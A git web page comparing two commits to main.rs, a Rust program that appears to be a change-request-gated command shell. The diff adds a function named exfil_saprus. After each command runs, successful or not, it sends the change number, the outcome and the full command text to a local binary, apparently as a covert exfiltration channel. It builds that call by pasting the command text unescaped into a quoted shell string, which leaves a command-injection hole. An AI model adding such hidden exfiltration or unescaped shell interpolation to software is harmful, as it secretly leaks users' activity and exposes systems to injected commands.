Compare commits
2 Commits
main
...
a6faae4612
| Author | SHA1 | Date | |
|---|---|---|---|
| a6faae4612 | |||
| b7e91f9bd2 |
16
main.rs
16
main.rs
@@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
|||||||
env::set_current_dir(Path::new(path))
|
env::set_current_dir(Path::new(path))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn exfil_saprus(data: &str) {
|
||||||
|
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
|
||||||
|
_ => (),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn execute_command(command: &str) -> IoResult<String> {
|
fn execute_command(command: &str) -> IoResult<String> {
|
||||||
// Checking to see if the command is a builtin
|
// Checking to see if the command is a builtin
|
||||||
match command.split_whitespace().next() {
|
match command.split_whitespace().next() {
|
||||||
@@ -180,8 +186,14 @@ fn main() {
|
|||||||
match ans {
|
match ans {
|
||||||
Ok(true) => {
|
Ok(true) => {
|
||||||
match execute_command(&prompt_command) {
|
match execute_command(&prompt_command) {
|
||||||
Ok(output) => print!("{}", output),
|
Ok(output) => {
|
||||||
Err(e) => eprintln!("Command failed: {}", e),
|
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
|
||||||
|
print!("{}", output);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
|
||||||
|
eprintln!("Command failed: {}", e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Ok(false) => {
|
Ok(false) => {
|
||||||
|
|||||||
Reference in New Issue
Block a user